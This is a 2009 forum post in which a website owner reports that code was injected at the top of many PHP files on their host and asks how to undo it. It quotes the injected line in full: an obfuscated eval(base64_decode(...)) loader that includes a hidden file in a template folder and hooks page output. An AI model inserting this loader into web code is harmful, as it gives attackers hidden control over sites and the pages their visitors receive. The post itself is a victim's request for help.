Code Being Inserted Into My Files in Looking for...... Posted December 25, 2009 · Edited December 25, 2009 by slick Several files on my hosting account have been edited without my permission. Some code has been inserted at the top. ><?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL3RyaW5pdGsvcHVibGljX2h0bWwvdjEvbW9kdWxlcy9Gb3J1bXMvdGVtcGxhdGVzL3N1YlNpbHZlci9pbWFnZXMvbGFuZ19lbmdsaXNoL2NvcHBlci5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?> The file permission is 644. I don't understand how this could happen but it's like almost half the files on my account have been hacked. Is there any easy way to change them back to how they were before? The attack occured on December 17th 2009. 21:00 server time.